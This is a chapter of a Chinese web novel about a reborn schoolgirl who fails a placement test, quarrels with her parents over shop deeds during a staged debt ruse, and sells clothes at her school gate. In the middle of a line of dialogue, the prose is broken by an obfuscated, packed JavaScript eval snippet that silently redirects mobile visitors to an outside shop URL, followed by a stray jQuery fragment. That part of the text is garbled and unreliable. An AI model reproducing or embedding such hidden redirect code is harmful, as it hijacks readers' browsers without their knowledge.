这些事儿,朱宜萍和章玉庭一点都不知道。
县一中改革,从他们这届起,由一周放两天假,改为两周放两天假,开学更是给他们个下马威,直接军训三周,再进行摸底考试,完了直接放四天假。
朱家和章家也算发达了,自然不省那点食宿费,就让朱宜萍和章玉庭都住学校。
别的倒罢了,朱宜萍没那么想回家,就这个摸底考试……
朱宜萍很慌,暑假忙着赚钱,只把小学和初一的课本吃透了,初二和初三的都还没看。
这摸底考试,她铁定抓瞎!
朱宜萍进衣服的时候,给朱清怡选了五六身漂亮衣服,村里人情复杂不好送,只好开学后送她。
朱清怡很是惊喜,待她又亲近几分,见她忧心忡忡,便有心解忧,问:“你是遇到什么难事了吗?”
“为了赚读书的钱,我忙了两个月,人都脱了一层皮,比什么军训都累。没想上了学,还有的累。而且,我暑假都没怎么看书,学过的东西都不怎么记得了。这一来就模拟考,铁定考砸,真真急人!”朱宜萍愁眉不展道。
“你都累脱相了!也是该歇歇了。你别急,我给你想个办法。我姑父在县里的中医院,我请姑姑帮忙,让他给你开张营养不良,不宜剧烈运动的条子。”朱清怡宽慰道。
次日一早,朱清怡就翘了早读,到教学楼前的公共电话亭,给姑姑挂了一个电话,说明了情况。
她姑姑早就听娘家人说过朱宜萍差点没学上的事,既可怜她的境遇,又赞赏她迎难而上的精神,就没一口拒绝。
朱清怡撒娇道:“姑姑,人家这么困难,才松快一点,就不忘给我好处。她自己都没几件好衣裳,倒送了我五六件。姑姑,看我的面子,帮帮人家嘛!”
“只此一回,下不为例。”
朱宜萍得了这个巧宗,更是死命啃书,夜里打手电筒,早上蹲楼道,争分夺秒地学习。
尽管如此,结果还是不尽如人意,她还是考了个倒数,数学和化学最是惨不忍睹,一个20分,一个36分。
朱清怡安慰她,说:“这次数学很离谱,除了初中的,还有高中的知识点,没考好的不止你一个。化学本就是你的短项,又这么长时间没看,考这样已经不错。”
朱宜萍都听笑了,叹气道:“我爸妈要有你这么好说话就好了!”
好在,学校并没有因为他们的成绩而采取什么举措,只按成绩排名先后选座位。
朱宜萍一家都是高个子,习惯了坐后面,如今不过是再后面一点,也无所谓。
再多的,不过是班主任点了几句。
不过,人家是文化人,也说不出难听话,就道:“成绩出来了,你们是靠真本事进来的,还是靠运气进来的,又或者使了不光彩的手段进来,一目了然。我呢,也不多说什么。不过,你们既然到了这个班里,就要好好守班规,好好学习。高考不比中考,没你们耍手段的余地。”
说完,班主任还特地盯了她一眼。
朱宜萍考试没有作弊。
她是人生作弊了!
朱宜萍理直气壮地盯了回去——反正又不会被开除!
班主任胡永涛很无语!
朱宜萍考进来的成绩不错的,在班上前二十名,属于中等偏上。他又听人说,这个学生很刻苦。虽然因为身体问题没能军训,却夜以继日地学习。教官教学生叠被子,用的是朱宜萍的被子,从里头抖落了好些公式小册子,还笑说是个夜猫子。
胡永涛很是欣慰——学习就要有时刻备战的精神!
没想,这姑娘给他考了这么个成绩!
这些日子,她在刻苦些什么?她又是怎么考上县一中的?
胡永涛真想敲开她的脑袋看看,里头到底装的什么东西!
胡永涛没眼看,低头、闭眼,直叹气!
朱宜萍不管班主任怎么想,反正只要不开除她就好。
她已经通看了初中的课本,单词还会拼,例题还看得懂,只要花时间多记多背多练,一定能跟得上来。
这个时间,短则半年,长则一年,反正是不成问题的。
他们那小片儿上县一中的就朱清怡、朱宜萍和章玉庭。为了朱宜萍考虑,三人约好不给家里说摸底考的事儿。
这样就能蒙混过关了!
不想,他们放假这日,朱有兰和钟秀芝来学校接人了,看到了成绩榜。
钟秀芝面色不好,见了他们也不吭声,还是朱有兰解释,说:“家里出了点状况,没住村里了,在县里租了房子,来接你们回家。”
有朱清怡在,朱宜萍和章玉庭都没问家里出了什么事儿,默契地说起了在学校里的生活。
朱清怡在大转盘那儿就下了车,要转车才能回家,余下一行人直接坐到城里。
朱家和章家租住在一栋老式筒子楼里,是机械厂的老职工楼。
朱宜萍和章玉庭都是家里的大孩子了,朱有兰和钟秀芝原先买店铺的事没瞒着他们,现在假装“躲债”的事,自然也不瞒着他们。
“莹莹、宜夏和宜华不晓得家里欠债是假的,宜华还说要把他的店面卖了还债,宜夏也把店面拿出来了,说卖了重新做生意。你们别说漏嘴。”钟秀芝叮嘱道。
朱宜萍不由撇了撇嘴。
这话啥意思?暗示他们也把店面拿出来?
果然,朱有兰很自然地接话道:“为了表示公平,也为了表现出一家人同舟共济的决心,你们最好也在他们面前把店面拿出来。”
“拿出来可以,你们要私下里还给我们。毕竟,家里又不是真出事了。”朱宜萍讨价还价道。
“我们做父母的,就这么不值得你们信任吗?你们这一点子东西,我们还不放在眼里。要你们上交,也是怕你们小孩子家家的,藏不住、护不住东西!”钟秀芝生气道。
“我藏得住,也护得住!明儿我就去买个保险箱。”朱宜萍坚持到。
“章玉庭,你呢?”朱有兰问道。
“房本可以放你们这,但租金我要自己收着。我想放假的时候,就去进货,正好赶上学生回校的时候卖。咱家欠债的消息早晚要传学校里,我卖点子东西,正好应景。我需要钱进货。放心,一中是县重点,学校附近都很干净,不会遇上流氓
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14228388|151312||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
地痞。”章玉庭选择退一步。
朱宜萍是个女孩,家里还有两兄弟,不能退,也不敢退,依旧坚持道:“房本我要自己拿着,租金我也要自己拿着!”
“我算是白养你了!见过不听话的,就没见过你这么不听话的;见过不懂事的,就没见过你这么不懂事的。”钟秀芝半是生气半是嫌弃道。
朱宜萍最讨厌“听话”和“懂事”这两个词。
前世,她倒很听话,很懂事,结果落个什么下场!
想着,朱宜萍不由冷笑一声,说:“我凭什么要听话,凭什么要懂事?凭你们不让我读书吗?‘听话’和‘懂事’是世界上最恶毒的词语!我又不是没有脑子,为什么要听别人的话?我自己的事还没搞懂,为什么要懂别人的事?”
“谁是别人?你爸,还是我?”钟秀芝本想说,你不拿我们当一家人,就别进这个家门,别用这个家里的钱。
不过,那死丫头手里有铺子,铺子又租出去了,不靠家里也能活。再者,暑假卖东西已经练出了她的胆子。
钟秀芝这么一想,就不敢这么说,只道:“你还敢提读书?读个屁的书?你读得出来吗?你也不看看你那成绩,我都要为你羞死。”
“一次考试失利不算什么!”朱宜萍气定神闲,再次强调,“店面和租金我都不要上交。玉庭,明儿你去进货吗?带我一个。”
朱有兰见店面的事没得再谈,就道:“县里的两家店面已经在装修了,一家卖男装,一家卖女装。我们也想在这之前进一批货,去试试县城的消费水平。赶明儿,我们和你们一起去进货。”
朱宜萍见她们不再揪着店面的事,就从善如流,问他们要卖哪个年龄段的服装,价位定在什么标准,又问县城百姓的生活水平。
这么一聊,也就把原先的不愉快揭过去了。再一起去进一趟货,更是好得像是没有过这么一场龌龊。
朱宜萍和章玉庭这次进的都是少年人的衣服,一个进女装,一个进男装。
回校那天,他们早早就在学校门口占好位置,喇叭一放——开卖!
学校旁边没什么的,只有十来户人家,卖的都是些日常用品,再有就是餐馆、理发店之类的,卖衣服的一家都没有。
高中生手里都有几个钱,只要平日里省一些,一两件衣服还是置办得起的。
很多乡里来的孩子,在大转盘转车后就来了学校,没去城里逛过,想买衣服也没地儿。如今瞌睡遇到枕头,自然是两厢如意。
正好天气转凉,他们进的这批秋衣卖到上晚自习前,已经不剩什么了。
朱宜萍和章玉庭把剩下的衣服往袋子里一装,直接塞床下,然后飞奔去自习。
自习的时候,有人传字条,说在学校门口看到她在卖衣服,问有没有看错。
朱宜萍就把家里如何欠债的事说了,又把他们姐弟如何求爷爷告奶奶地佘衣服来卖的事说了,获得了大部分同学的同情。
下了晚自习后,有二十分钟的梳洗时间,班上好些女生来她寝室挑衣服,为她渡过难关尽一点绵薄之力。
朱宜萍又感动,又心虚,又愧疚。